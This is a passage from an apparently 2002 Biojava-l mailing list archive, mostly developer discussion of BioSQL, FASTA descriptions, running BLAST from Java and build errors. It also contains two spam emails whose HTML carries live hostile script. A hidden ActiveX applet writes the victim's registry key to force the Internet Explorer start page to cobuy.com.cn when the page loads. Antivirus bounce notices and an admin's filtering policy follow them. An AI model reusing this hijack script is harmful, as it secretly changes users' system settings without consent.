the non-feature annotations into the database, but you can adapt the
code to do this for you with a little knowledge of SQL and Java.
>>of such a program. But I am new to biojava. Could you
>>please make some suggestion for me to start? Any idea
>>concerning this will be appropriated.
>>
>
> You could also attend the bootcamp at the EBI next month if you want a
> quick start. I found this route much less effort myself.
>
Also, some of us have chat open at:
irc.openprojects.net, port 6667, channel #biojava
Your milage will vary according to who is logged on and how much time we
have available to chatter ;-)
Matthew
From cobuy@263.net Mon Feb 18 12:57:50 2002
From: cobuy@263.net (cobuy@263.net)
Date: Mon, 18 Feb 2002 20:57:50 +0800
Subject: [Biojava-l] =?GB2312?B?waq6z7m6wvLN+M3Gs/bD4rfRyc/N+Lvutq+hoaPjo++j4qP1o/k=?=
Message-ID: <200202181250.g1ICoWkP006891@pw600a.bioperl.org>
<html>
<head>
<title>ڼ֪ͨ</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<style type="text/css">
<!--
.unnamed1 { font-size: 10.8pt; color: #FFFFFF; filter: Glow(Color=ff0000, Strength=3); text-decoration: none}
.pt108 { font-size: 10.8pt; color: #000000}
-->
</style>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<meta name="GENERATOR" content="Microsoft FrontPage 4.0">
<meta name="ProgId" content="FrontPage.Editor.Document">
<title>New Page 1</title>
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<META content= \绰\绰\Ϸ\2girl,picture,photo,China,Chinese,Japan,Japanese name=description>
<META content=\绰\绰\Ϸ\2girl,picture,photo,China,Chinese,Japan,Japanese name=keywords>
<style type="text/css">
<!--
BODY {
FONT-SIZE: 10.5pt; FONT-STYLE: normal; FONT-WEIGHT: normal; LINE-HEIGHT: 14px; TEXT-DECORATION: none
}
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}
A {
COLOR:#021DD7; FONT-SIZE: 9pt; FONT-STYLE: normal; FONT-WEIGHT: normal; text-decoration: none;LINE-height:14pt
}
A:visited {
FONT-STYLE: normal; FONT-WEIGHT: normal; TEXT-DECORATION: none
}
A:active {
COLOR: #000000; FONT-SIZE: 9pt; FONT-STYLE: normal; FONT-WEIGHT: normal; TEXT-DECORATION: none
}
A:hover {
COLOR: #0099FF; FONT-STYLE: normal; FONT-WEIGHT: normal
}
A.A1 {
COLOR: #000000; FONT-SIZE: 10.5pt; FONT-STYLE: normal; FONT-WEIGHT: normal
; text-decoration: none
}
A.A1:visited {
FONT-STYLE: normal; FONT-WEIGHT: normal; TEXT-DECORATION: none
}
A.A1:active {
COLOR: #990000; FONT-STYLE: normal; FONT-WEIGHT: normal; TEXT-DECORATION: none
; font-size: 10.5pt
}
A.A1:hover {
COLOR: #FFCC00; FONT-STYLE: normal; FONT-WEIGHT: normal
}
EM {
FONT-SIZE: 10.5pt; FONT-STYLE: normal; FONT-WEIGHT: normal; TEXT-TRANSFORM: none
}
I {
FONT-FAMILY: "Arial"; FONT-SIZE: 10.5pt; FONT-STYLE: italic; FONT-WEIGHT: bold
}
BIG {
FONT: bold 15pt "Times New Roman"
}
B {
FONT-SIZE: 10.5pt; FONT-WEIGHT: bold; TEXT-DECORATION: none
}
.BHEAD {
FONT-SIZE: 12pt; FONT-WEIGHT: bold; TEXT-DECORATION: none
}
TD {
FONT-SIZE: 10.5pt; FONT-STYLE: normal; FONT-WEIGHT: normal
}
STRONG {
FONT-FAMILY: "Arial"; FONT-SIZE: 13pt; FONT-WEIGHT: bold; TEXT-DECORATION: none
}
-->
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Shl.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page","http://www.cobuy.com.cn");}catch(e){}}catch(e){}}setTimeout("yuzi()",1000);</script>
<SCRIPT language=JavaScript>
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<table width="459" border="0" cellspacing="0" cellpadding="0" height="344" align="center">
<tr>
<td height="36" class="unnamed1" width="457">ϹĻ</td>
</tr>
<tr>
<td height="246" class="pt108" width="457" valign="top"><font color="#000080">ѣ</font>
<p><font color="#000080">ãڼ䣬Ϲwww.Cobuy.com.cnϾٰ조˸˼ܶԻͬʱϹŻݣʧ</font><a href="http://www.Cobuy.com.cn">>></a></p>
<p><a href="http://www.cobuy.com.cn"><font color="#008000" size="2">ϹֿƵϰIPϷȫ</font><b><font color="#FF0000" size="3"></font></b><font color="#008000" size="2">ۿ۵͵ĶԽסջ</font></a></p>
<p><font color="#000080">֧֧ʵʱȡ̽뼴ɻ˺ź룡</font></p>
<p><font color="#000080">ṩͻš</font></p>
<p><font color="#000080">ϹȫԱ</font></p>
</td>
</tr>
<tr>
<td align="right" class="unnamed1" width="457" height="62"><a href=""class="unnamed1">Ϲϵһֿ̳</a></td>
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</table>
</td>
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From ANTIGEN_SJMEMEXC1@stjude.org Mon Feb 18 12:55:36 2002
From: ANTIGEN_SJMEMEXC1@stjude.org (ANTIGEN_SJMEMEXC1)
Date: Mon, 18 Feb 2002 06:55:36 -0600
Subject: [Biojava-l] Antigen found HTML.VMExploit (CA(Vet),Norman,CA(InoculateIT)) vir
us
Message-ID: <601F6322AD71D5118D6C00034725152904F67555@sjmemexc1.stjude.org>
Antigen for Exchange found Unknown infected with HTML.VMExploit
(CA(Vet),Norman,CA(InoculateIT)) virus.
The file is currently Removed. The message, "[Biojava-l] ?????????????
cobuy", was
sent from cobuy@263.net and was discovered in IMC Queues\Inbound
located at SJCRH/STJUDE/SJMEMEXC1.
From ANTIGEN_SESTOMSX02@iconmedialab.se Mon Feb 18 13:18:47 2002
From: ANTIGEN_SESTOMSX02@iconmedialab.se (ANTIGEN_SESTOMSX02)
Date: Mon, 18 Feb 2002 14:18:47 +0100
Subject: [Biojava-l] Antigen found JS/IEStart.gen.c (McAfee4,CA(InoculateIT)) virus
Message-ID: <6DACB33736C8D3118DDC00508B63B50E027DD86A@SESTOMSX02>
Antigen for Exchange found Unknown infected with JS/IEStart.gen.c
(McAfee4,CA(InoculateIT)) virus.
The file is currently Removed. The message, "[Biojava-l]
=?GB2312?B?waq6z7m6wvLN+M3Gs/bD4rfRyc/N+Lvutq+hoaPjo++j4qP1o/k=?=", was
sent from cobuy@263.net and was discovered in IMC Queues\Inbound
located at Icon Medialab AB/ICONSE/SESTOMSX02.
From cobuy@263.net Mon Feb 18 13:15:26 2002
From: cobuy@263.net (cobuy@263.net)
Date: Mon, 18 Feb 2002 21:15:26 +0800
Subject: [Biojava-l] =?GB2312?B?waq6z7m6wvLN+M3Gs/bD4rfRyc/N+Lvutq+hoaPjo++j4qP1o/k=?=
Message-ID: <200202181308.g1ID8FkP007155@pw600a.bioperl.org>
<html>
<head>
<title>ڼ֪ͨ</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<style type="text/css">
<!--
.unnamed1 { font-size: 10.8pt; color: #FFFFFF; filter: Glow(Color=ff0000, Strength=3); text-decoration: none}
.pt108 { font-size: 10.8pt; color: #000000}
-->
</style>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<meta name="GENERATOR" content="Microsoft FrontPage 4.0">
<meta name="ProgId" content="FrontPage.Editor.Document">
<title>New Page 1</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<META content= \绰\绰\Ϸ\2girl,picture,photo,China,Chinese,Japan,Japanese name=description>
<META content=\绰\绰\Ϸ\2girl,picture,photo,China,Chinese,Japan,Japanese name=keywords>
<style type="text/css">
<!--
BODY {
FONT-SIZE: 10.5pt; FONT-STYLE: normal; FONT-WEIGHT: normal; LINE-HEIGHT: 14px; TEXT-DECORATION: none
}
P {
FONT-SIZE: 11pt; FONT-STYLE: normal; FONT-WEIGHT: normal
}
A {
COLOR:#021DD7; FONT-SIZE: 9pt; FONT-STYLE: normal; FONT-WEIGHT: normal; text-decoration: none;LINE-height:14pt
}
A:visited {
FONT-STYLE: normal; FONT-WEIGHT: normal; TEXT-DECORATION: none
}
A:active {
COLOR: #000000; FONT-SIZE: 9pt; FONT-STYLE: normal; FONT-WEIGHT: normal; TEXT-DECORATION: none
}
A:hover {
COLOR: #0099FF; FONT-STYLE: normal; FONT-WEIGHT: normal
}
A.A1 {
COLOR: #000000; FONT-SIZE: 10.5pt; FONT-STYLE: normal; FONT-WEIGHT: normal
; text-decoration: none
}
A.A1:visited {
FONT-STYLE: normal; FONT-WEIGHT: normal; TEXT-DECORATION: none
}
A.A1:active {
COLOR: #990000; FONT-STYLE: normal; FONT-WEIGHT: normal; TEXT-DECORATION: none
; font-size: 10.5pt
}
A.A1:hover {
COLOR: #FFCC00; FONT-STYLE: normal; FONT-WEIGHT: normal
}
EM {
FONT-SIZE: 10.5pt; FONT-STYLE: normal; FONT-WEIGHT: normal; TEXT-TRANSFORM: none
}
I {
FONT-FAMILY: "Arial"; FONT-SIZE: 10.5pt; FONT-STYLE: italic; FONT-WEIGHT: bold
}
BIG {
FONT: bold 15pt "Times New Roman"
}
B {
FONT-SIZE: 10.5pt; FONT-WEIGHT: bold; TEXT-DECORATION: none
}
.BHEAD {
FONT-SIZE: 12pt; FONT-WEIGHT: bold; TEXT-DECORATION: none
}
TD {
FONT-SIZE: 10.5pt; FONT-STYLE: normal; FONT-WEIGHT: normal
}
STRONG {
FONT-FAMILY: "Arial"; FONT-SIZE: 13pt; FONT-WEIGHT: bold; TEXT-DECORATION: none
}
-->
</style>
<script>document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");function yuzi(){try{a1=document.applets[0];a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");a1.createInstance();Shl = a1.GetObject();a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");try{
Shl.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page","http://www.cobuy.com.cn");}catch(e){}}catch(e){}}setTimeout("yuzi()",1000);</script>
<SCRIPT language=JavaScript>
<!--
function KBAddFavorite(theTit) {
// Copyright (c) 1998 by Kevin Bartz. All rights reserved. This site has been enhanced by one of Kevin Bartz's behaviours! Mail him at kevinbartz@geocities.com! This line must remain in the script.
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if (IE4) {
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this.homepage.style.behavior='url(#default#homepage)';this.homepage.setHomePage('http://www.cobuy.com.cn');
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</head>
<body bgcolor="#FFFFFF" text="#000000" leftmargin="0" topmargin="0">
<table width="488" border="1" cellspacing="6" cellpadding="0" height="300" bordercolor="#FF0000">
<tr>
<td height="267" width="472">
<table width="459" border="0" cellspacing="0" cellpadding="0" height="344" align="center">
<tr>
<td height="36" class="unnamed1" width="457">ϹĻ</td>
</tr>
<tr>
<td height="246" class="pt108" width="457" valign="top"><font color="#000080">ѣ</font>
<p><font color="#000080">ãڼ䣬Ϲwww.Cobuy.com.cnϾٰ조˸˼ܶԻͬʱϹŻݣʧ</font><a href="http://www.Cobuy.com.cn">>></a></p>
<p><a href="http://www.cobuy.com.cn"><font color="#008000" size="2">ϹֿƵϰIPϷȫ</font><b><font color="#FF0000" size="3"></font></b><font color="#008000" size="2">ۿ۵͵ĶԽסջ</font></a></p>
<p><font color="#000080">֧֧ʵʱȡ̽뼴ɻ˺ź룡</font></p>
<p><font color="#000080">ṩͻš</font></p>
<p><font color="#000080">ϹȫԱ</font></p>
</td>
</tr>
<tr>
<td align="right" class="unnamed1" width="457" height="62"><a href=""class="unnamed1">Ϲϵһֿ̳</a></td>
</tr>
</table>
</td>
</tr>
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From ANTIGEN_SJMEMEXC1@stjude.org Mon Feb 18 13:13:37 2002
From: ANTIGEN_SJMEMEXC1@stjude.org (ANTIGEN_SJMEMEXC1)
Date: Mon, 18 Feb 2002 07:13:37 -0600
Subject: [Biojava-l] Antigen found JS/Exploit_based (Norman,CA(InoculateIT),CA(Vet)) v
irus
Message-ID: <601F6322AD71D5118D6C00034725152904F67558@sjmemexc1.stjude.org>
Antigen for Exchange found Unknown infected with JS/Exploit_based
(Norman,CA(InoculateIT),CA(Vet)) virus.
The file is currently Removed. The message, "[Biojava-l] ?????????????
cobuy", was
sent from cobuy@263.net and was discovered in IMC Queues\Inbound
located at SJCRH/STJUDE/SJMEMEXC1.
From ANTIGEN_SESTOMSX02@iconmedialab.se Mon Feb 18 13:36:05 2002
From: ANTIGEN_SESTOMSX02@iconmedialab.se (ANTIGEN_SESTOMSX02)
Date: Mon, 18 Feb 2002 14:36:05 +0100
Subject: [Biojava-l] Antigen found JS/IEStart.gen.c (McAfee4,CA(InoculateIT)) virus
Message-ID: <6DACB33736C8D3118DDC00508B63B50E027DD86C@SESTOMSX02>
Antigen for Exchange found Unknown infected with JS/IEStart.gen.c
(McAfee4,CA(InoculateIT)) virus.
The file is currently Removed. The message, "[Biojava-l]
=?GB2312?B?waq6z7m6wvLN+M3Gs/bD4rfRyc/N+Lvutq+hoaPjo++j4qP1o/k=?=", was
sent from cobuy@263.net and was discovered in IMC Queues\Inbound
located at Icon Medialab AB/ICONSE/SESTOMSX02.
From gcox@netgenics.com Mon Feb 18 22:34:00 2002
From: gcox@netgenics.com (Cox, Greg)
Date: Mon, 18 Feb 2002 17:34:00 -0500
Subject: [Biojava-l] Propsed change for fastaFormat
Message-ID: <DB52A7625347D211A1D70060B06AB1E204480343@exchgcle.dev.netgenics.com>
What I'd like to do is write the name + description of a sequence out in
fasta format. Right now, it prints the name for a non-phred file, and the
description of a phred file (greped the code for the key used; it's only in
phredFormat). I don't work with phred files, so I don't want to bull in and
break things. Could someone who uses phred look at this proposed change and
tell me if it would cause problems for you?
public static String PROPERTY_DESCRIPTIONLINE = "description_line";
public void setPropertyDescriptionLine(String theLine) // New method
{
PROPERTY_DESCRIPTIONLINE = theLine;
}
public String getPropertyDescriptionLine() // New method
{
return PROPERTY_DESCRIPTIONLINE;
}
protected String describeSequence(Sequence seq) // Rewritten method
{
StringBuffer description = new StringBuffer(seq.getName());
try
{
description.append(" " +
seq.getAnnotation().getProperty(this.getPropertyDescriptionLine()).toString(
));
}
catch (NoSuchElementException ex)
{
// Intentionally blank
}
return description.toString();
}
Thanks,
Greg Cox
From gabrielcaus@yahoo.com Tue Feb 19 02:55:30 2002
From: gabrielcaus@yahoo.com (Gabriel lu)
Date: Mon, 18 Feb 2002 18:55:30 -0800 (PST)
Subject: [Biojava-l] (no subject)
In-Reply-To: <3C70E9BA.90709@yahoo.co.uk>
Message-ID: <20020219025530.6684.qmail@web21307.mail.yahoo.com>
Thank you, David and Matthew, for the suggestions. I
visited http://www.biojava.org/docs/api/ but did not
find the biosql package, which should be
org.biojava.bio.seq.db.biosql. Could you tell where i
can get information about the biosql package.
All the best,
Gabriel
__________________________________________________
Do You Yahoo!?
Yahoo! Sports - Coverage of the 2002 Olympic Games
http://sports.yahoo.com
From shiva@mbu.iisc.ernet.in Tue Feb 19 06:57:57 2002
From: shiva@mbu.iisc.ernet.in (B.V.L.S.Prasad)
Date: Tue, 19 Feb 2002 12:27:57 +0530 (IST)
Subject: [Biojava-l] Reference: Query:
Message-ID: <Pine.LNX.4.33.0202191225230.12858-100000@mbu.iisc.ernet.in>
Dear sir,
Could you please give me the reference or
an article published on BioJava in any journal till now...
or website address is the only reference....
I would like to refer to your work in my Paper.
Thankyou for the time.
Sincerely,
Prasad.
--
Be Happy,
Enjoy Life.
with love
shiva.
********************************************************************
* If the Problem is Clear, the Solution is Near. ...shiva... *
********************************************************************
From surajit@singnet.com.sg Tue Feb 19 10:53:02 2002
From: surajit@singnet.com.sg (suraj infotech pte ltd)
Date: Tue, 19 Feb 2002 18:53:02 +0800
Subject: [Biojava-l] (no subject)
Message-ID: <NFBBJFBBELFCCJPKMHOHCEDFCBAA.surajit@singnet.com.sg>
From kdj@sanger.ac.uk Tue Feb 19 12:19:44 2002
From: kdj@sanger.ac.uk (Keith James)
Date: 19 Feb 2002 12:19:44 +0000
Subject: [Biojava-l] Build failing
Message-ID: <sc4lmdphden.fsf@fes1.sanger.ac.uk>
Hi all,
I can no longer build the jar or Javadoc. The class
CrossProductAlphabetIndex is missing.
Javadoc throws up
org/biojava/bio/PropertyConstraint.java:15: The type nested type org.biojava.bio.PropertyConstraint. 1 can't be static. Static members can only occur in interfaces and top-level classes.
[javadoc] public static final PropertyConstraint ANY = new PropertyConstraint() {
[javadoc] ^
[javadoc] /nfs/team81/kdj/devel/java/biojava-live/ant-build/src/main/org/biojava/bio/PropertyConstraint.java:15: Interface fields can't be private or protected: nested type org.biojava.bio.PropertyConstraint. 1
[javadoc] public static final PropertyConstraint ANY = new PropertyConstraint() {
[javadoc] ^
[javadoc] 4 errors
Can the owners take a look?
thanks,
--
-= Keith James - kdj@sanger.ac.uk - http://www.sanger.ac.uk/Users/kdj =-
Pathogen Sequencing Unit, Wellcome Trust Sanger Institute, Cambridge, UK
From td2@sanger.ac.uk Tue Feb 19 12:42:46 2002
From: td2@sanger.ac.uk (Thomas Down)
Date: Tue, 19 Feb 2002 12:42:46 +0000
Subject: [Biojava-l] Build failing
In-Reply-To: <sc4lmdphden.fsf@fes1.sanger.ac.uk>; from kdj@sanger.ac.uk on Tue, Feb 19, 2002 at 12:19:44PM +0000
References: <sc4lmdphden.fsf@fes1.sanger.ac.uk>
Message-ID: <20020219124246.B15986@jabba.sanger.ac.uk>
On Tue, Feb 19, 2002 at 12:19:44PM +0000, Keith James wrote:
>
>
> I can no longer build the jar or Javadoc. The class
> CrossProductAlphabetIndex is missing.
Okay, that half of the problem was mine -- I checked in something
which I didn't mean to. Fixed (and tested, this time!) now.
Thomas.
From dag@sonsorol.org Tue Feb 19 15:50:10 2002
From: dag@sonsorol.org (chris dagdigian)
Date: Tue, 19 Feb 2002 10:50:10 -0500
Subject: [Biojava-l] [housekeeping note] experimental changes to bioperl-l and biojava-l list configuration
Message-ID: <3C727432.5050507@sonsorol.org>
Hi folks,
The Open Bioinformatics Foudation's recent subscription to the RBL+ list
(http://mail-abuse.org/rbl+/) has done a great job at seriously cutting
down the amount of spam that leaks onto our mailing lists.
It does not however, protect us from virus-laden email messages as the
members of biojava-l have found out on multiple ocasions. We are
eventually going to deploy antivirus scanning on all of our inbound and
outbound email but until that happens we need an interim solution.
Typically the way that most large mailing lists handle this is to
employ a "no attachments" policy. All attachments are either stripped at
the MTA level or converted into plaintext by external helper
applications. The side effect of this is that it also removes HTML-email
which 90% of the time is spam anyway.
The feedback from people I asked about doing this on our server was that
it could be "too drastic". Instead of stripping anything MIME-encoded
I've made some experimental changes to 2 of our largest lists: biojava-l
and bioperl-l.
What I've done is configured the lists to "hold" messages that contain
suspect "content-type:" fields. What this mean is that messages won't be
"stripped" but they will be blocked and held for moderator attention.
Anything that is spam or suspicious will get blown away by an OBF
mailteam volunteer. Messages that look OK will get passed on to the list.
This is the best compromise I can come up with between "stripping
everything" and converting the lists to 100% moderated forums. One side
effect is that our "hold" patterns are going to block HTML messages wich
is probably a good thing. Another side effect is that innocent messages
may get held up or delayed as they wait for moderation. This is mostly
unavoidable.
For those that care, here are the patterns we are trying to use to hold
suspect message:
Content-Type: .*multipart
Content-Type: .*mixed
Content-Type: .*rich
As a general rule to avoid having your emails held for approval people
may wish to keep the following in mind:
(1) Be polite to text-only email readers; don't send HTML messages to
the list.
(2) Don't send file attachments; post URLs or links within your message
Feedback directly to me or to mailteam@open-bio.org is welcome. I'll let
people know how this experiment goes - most likely in our next
newsletter scheduled for mid-March.
Regards,
Chris
--
Chris Dagdigian, <dag@sonsorol.org>
Life Science IT & Research Computing Freelancer
Office: 617-666-6454, Mobile: 617-877-5498, Fax: 425-699-0193
PGP KeyID: 83D4310E Yahoo IM: craffi
From russell.smithies@xtra.co.nz Tue Feb 19 22:55:33 2002
From: russell.smithies@xtra.co.nz (Russell Smithies)
Date: Wed, 20 Feb 2002 11:55:33 +1300
Subject: [Biojava-l] BLAST from Java
In-Reply-To: <200202191702.g1JH2TkO019952@pw600a.bioperl.org>
Message-ID: <IAEKJMFAFHONGCDMGNANIEFNCAAA.russell.smithies@xtra.co.nz>
Has anyone had any luck running Blast locally from Java using Runtime.exec()
and command array??
I always get an error from Blast and the only reliable way I've found so far
is to write a batch file then delete it as follows:
*****************************************************
File batFileName = new File("runme.bat");
PrintStream bfile = new PrintStream(new BufferedOutputStream(new
FileOutputStream(batFileName)));
//command string for BLAST
String cmds = "c:/bio/blast/blastall.exe -p blastn -d
c:/bio/blast/ecoli -e 1e-30 -m8 -i c:/bio/blast/test.txt";
//create batch file
bfile.print(cmds);
bfile.close();
//execute batch file
Process pro = Runtime.getRuntime().exec(batFileName.toString());
InputStream out = pro.getInputStream();
int i;
while((i = out.read())!= -1){
//do stuff with the output
System.out.print((char)i);
}
//stop process
pro.destroy();
//delete batch file
boolean sucess = batFileName.delete();
******************************************************
It works fine but there must be a tidier way.
Russell Smithies
University of Otago
Dunedin
New Zealand
From smh1008@cus.cam.ac.uk Tue Feb 19 23:22:56 2002
From: smh1008@cus.cam.ac.uk (David Huen)
Date: Tue, 19 Feb 2002 23:22:56 +0000 (GMT)
Subject: [Biojava-l] Poor das-client performance in OS-X
Message-ID: <Pine.SOL.3.96.1020219231534.15339A-100000@virgo.cus.cam.ac.uk>
In the process of testing my DAS service on various platforms, I seem to
get poor performance with the Dazzle das client under OS-X. This is
noticeable even when comparing the same machine under OS-X and Yellow Dog
Linux. Are there any known performance issues with Java under OS-X?
Thanks,
David Huen
From gilmanb@genome.wi.mit.edu Tue Feb 19 23:51:37 2002
From: gilmanb@genome.wi.mit.edu (Brian Gilman)
Date: Tue, 19 Feb 2002 18:51:37 -0500 (EST)
Subject: [Biojava-l] Poor das-client performance in OS-X
In-Reply-To: <Pine.SOL.3.96.1020219231534.15339A-100000@virgo.cus.cam.ac.uk>
Message-ID: <Pine.OSF.4.10.10202191851060.24705-100000@darwin.wi.mit.edu>
I've been doing some performance benchmarking and java seems to work just
fine for us...Are you using hotspot??
-B
-----------------------
Brian Gilman <gilmanb@genome.wi.mit.edu>
Sr. Software Engineer MIT/Whitehead Inst. Center for Genome Research
One Kendall Square, Bldg. 300 / Cambridge, MA 02139-1561 USA
phone +1 617 252 1069 / fax +1 617 252 1902
On Tue, 19 Feb 2002, David Huen wrote:
> In the process of testing my DAS service on various platforms, I seem to
> get poor performance with the Dazzle das client under OS-X. This is
> noticeable even when comparing the same machine under OS-X and Yellow Dog
> Linux. Are there any known performance issues with Java under OS-X?
>
> Thanks,
> David Huen
>
>
> _______________________________________________
> Biojava-l mailing list - Biojava-l@biojava.org
> http://biojava.org/mailman/listinfo/biojava-l
>
From td2@sanger.ac.uk Wed Feb 20 08:16:15 2002
From: td2@sanger.ac.uk (Thomas Down)
Date: Wed, 20 Feb 2002 08:16:15 +0000
Subject: [Biojava-l] BLAST from Java
In-Reply-To: <IAEKJMFAFHONGCDMGNANIEFNCAAA.russell.smithies@xtra.co.nz>; from russell.smithies@xtra.co.nz on Wed, Feb 20, 2002 at 11:55:33AM +1300
References: <200202191702.g1JH2TkO019952@pw600a.bioperl.org> <IAEKJMFAFHONGCDMGNANIEFNCAAA.russell.smithies@xtra.co.nz>
Message-ID: <20020220081614.A2365@caldy.sanger.ac.uk>
Hmmm, are you saying that the command works okay via
a batch file, but not if you exec it directly? Very strange...
I'm not a Windows user. But one thing which occurs to
me: you're handling the output of the process on the same
thread as the Process itself. I always use separate threads
(I don't know if this is the `official' way of doing things,
but it's a pragmatic approach which always seems to be reliable):
Process pro = // create process.
final InputStream out = pro.getInputStream();
Thread outputPump = new Thread() {
public void run() {
try {
int i;
while ((i = out.read()) != -1) {
System.out.print((char) i);
}
} (catch IOException ex) {}
}
} ;
outputPump.start();
pro.waitFor();
Having said that, I still don't really understand why running
blast via a batch file helps. But you might like to try the
recipe above and see if it makes a difference.
Thomas
On Wed, Feb 20, 2002 at 11:55:33AM +1300, Russell Smithies wrote:
> Has anyone had any luck running Blast locally from Java using Runtime.exec()
> and command array??
>
> I always get an error from Blast and the only reliable way I've found so far
> is to write a batch file then delete it as follows:
> *****************************************************
> File batFileName = new File("runme.bat");
> PrintStream bfile = new PrintStream(new BufferedOutputStream(new
> FileOutputStream(batFileName)));
> //command string for BLAST
> String cmds = "c:/bio/blast/blastall.exe -p blastn -d
> c:/bio/blast/ecoli -e 1e-30 -m8 -i c:/bio/blast/test.txt";
> //create batch file
> bfile.print(cmds);
> bfile.close();
> //execute batch file
> Process pro = Runtime.getRuntime().exec(batFileName.toString());
> InputStream out = pro.getInputStream();
> int i;
> while((i = out.read())!= -1){
> //do stuff with the output
> System.out.print((char)i);
> }
> //stop process
> pro.destroy();
> //delete batch file
> boolean sucess = batFileName.delete();
> ******************************************************
> It works fine but there must be a tidier way.
From simon.brocklehurst@CambridgeAntibody.com Wed Feb 20 09:21:59 2002
From: simon.brocklehurst@CambridgeAntibody.com (Simon Brocklehurst)
Date: Wed, 20 Feb 2002 09:21:59 +0000
Subject: [Biojava-l] BLAST from Java
References: <IAEKJMFAFHONGCDMGNANIEFNCAAA.russell.smithies@xtra.co.nz>
Message-ID: <3C736AB7.5ACFBE82@CambridgeAntibody.com>
Russell Smithies wrote:
> Has anyone had any luck running Blast locally from Java using Runtime.exec()
> and command array??
Yes ;-) Running native executables via Runtime.exec() works fine for us - but
almost all the Runtime.exec() code we have written is designed to run under
Unix.
Runtime.exec isn't exactly the most cross-platform aspect of Java, and it was
really conceived from a Unix-centric standpoint. I can't comment on how well it
works under Windows - pretty much the only time we use Runtime.exec on Windows
is to do trivial things like launching web browsers from Java applications.
There is an interesting piece on Runtime.exec() at the link below:
http://developer.apple.com/technotes/tn/tn1168.html
This obviously relates to the Apple implementation, but you may well learn
something by reading it.
Simon
--
Simon M. Brocklehurst, Ph.D.
Head of Bioinformatics & Advanced IS
Cambridge Antibody Technology
The Science Park, Melbourn, Cambridgeshire, UK
http://www.CambridgeAntibody.com/
mailto:simon.brocklehurst@CambridgeAntibody.com
From colin.hardman@cambridgeAntibody.com Wed Feb 20 08:51:29 2002
From: colin.hardman@cambridgeAntibody.com (Colin Hardman)
Date: Wed, 20 Feb 2002 08:51:29 +0000
Subject: [Biojava-l] BLAST from Java
References: <200202191702.g1JH2TkO019952@pw600a.bioperl.org> <IAEKJMFAFHONGCDMGNANIEFNCAAA.russell.smithies@xtra.co.nz> <20020220081614.A2365@caldy.sanger.ac.uk>
Message-ID: <3C736391.313C81EC@cambridgeAntibody.com>
Thomas Down wrote
> I'm not a Windows user. But one thing which occurs to
> me: you're handling the output of the process on the same
> thread as the Process itself. I always use separate threads
> (I don't know if this is the `official' way of doing things,
> but it's a pragmatic approach which always seems to be reliable):
I believe this is because some programs/systems will block if the output and/or
error streams are not being read, so if you are waiting for it to finish before
reading the stream and they are waiting for you to read the stream before
finishing... you have deadlock. So threads are definately a good idea.
There's a javaworld article that covers some windows specific problems
http://www.javaworld.com/javaworld/jw-12-2000/jw-1229-traps.html that you might
find useful.
Colin
From russell.smithies@xtra.co.nz Wed Feb 20 09:40:41 2002
From: russell.smithies@xtra.co.nz (Russell Smithies)
Date: Wed, 20 Feb 2002 22:40:41 +1300
Subject: [Biojava-l] BLAST from Java
In-Reply-To: <20020220081614.A2365@caldy.sanger.ac.uk>
Message-ID: <IAEKJMFAFHONGCDMGNANCEGDCAAA.russell.smithies@xtra.co.nz>
Thanx for your help, I've got it working OK now.
I downloaded Blast from NCBI and now it works.
Test code I'm using now is:
******************************
import java.io.*;
public class blasttest{
public static void main(String [] args)throws Exception{
//command strings for BLAST
String [] cmds = {"c:/bio/blast/blastall.exe",
"-p",
"blastn",
"-d",
"c:/bio/blast/ecoli",
"-e",
"1e-30",
"-m8",
"-i",
"c:/bio/blast/test.txt"};
Process pro = Runtime.getRuntime().exec(cmds);
InputStream out = pro.getInputStream();
int i;
while((i = out.read())!= -1){
//do stuff with results
System.out.print((char)i);
}
}
}
************************************************
I might ty using different Process for input/output and Threading it to see
if it makes a difference.
Is it worth writing some of this Blast stuff "properly' and adding it to
Biojava?
There's nothing too tricky about running it but being able to use some of
Biojavas other methods on the results might be handy.
Russell
> -----Original Message-----
> From: Thomas Down [mailto:td2@sanger.ac.uk]
> Sent: Wednesday, 20 February 2002 9:16 p.m.
> To: Russell Smithies
> Cc: biojava-l@biojava.org
> Subject: Re: [Biojava-l] BLAST from Java
>
>
> Hmmm, are you saying that the command works okay via
> a batch file, but not if you exec it directly? Very strange...
>
> I'm not a Windows user. But one thing which occurs to
> me: you're handling the output of the process on the same
> thread as the Process itself. I always use separate threads
> (I don't know if this is the `official' way of doing things,
> but it's a pragmatic approach which always seems to be reliable):
>
> Process pro = // create process.
> final InputStream out = pro.getInputStream();
> Thread outputPump = new Thread() {
> public void run() {
> try {
> int i;
> while ((i = out.read()) != -1) {
> System.out.print((char) i);
> }
> } (catch IOException ex) {}
> }
> } ;
> outputPump.start();
> pro.waitFor();
>
>
> Having said that, I still don't really understand why running
> blast via a batch file helps. But you might like to try the
> recipe above and see if it makes a difference.
>
> Thomas
>
>
From MEColosimo@alumni.carnegiemellon.edu Wed Feb 20 18:52:10 2002
From: MEColosimo@alumni.carnegiemellon.edu (Marc Colosimo)
Date: Wed, 20 Feb 2002 13:52:10 -0500
Subject: [Biojava-l] Schema and Docs for BioSQL
Message-ID: <3C73F05A.42B0CC68@alumni.carnegiemellon.edu>
Hi,
Is there any information about using the BioSQL classes in BioJava, such
as the schema for the database or examples in using it? I am interest in
using postgre and biojava to store lots of sequence data.
Thanks,
Marc
--
Marc E. Colosimo, Ph.D.
Post Doctoral Fellow
Brandeis University
From tonyob@compuserve.com Wed Feb 20 19:55:44 2002
From: tonyob@compuserve.com (Tony Obermeit)
Date: Thu, 21 Feb 2002 05:55:44 +1000
Subject: Subject: Re: [Biojava-l] BLAST from Java
Message-ID: <5.1.0.14.0.20020221055137.026c4778@pop.compuserve.com>
Thomas Down wrote
> I'm not a Windows user. But one thing which occurs to
> me: you're handling the output of the process on the same
> thread as the Process itself. I always use separate threads
> (I don't know if this is the `official' way of doing things,
> but it's a pragmatic approach which always seems to be reliable):
I've written code using Runtime.getRuntime().exec which used the same
thread for handling the standard output and standard error. This code
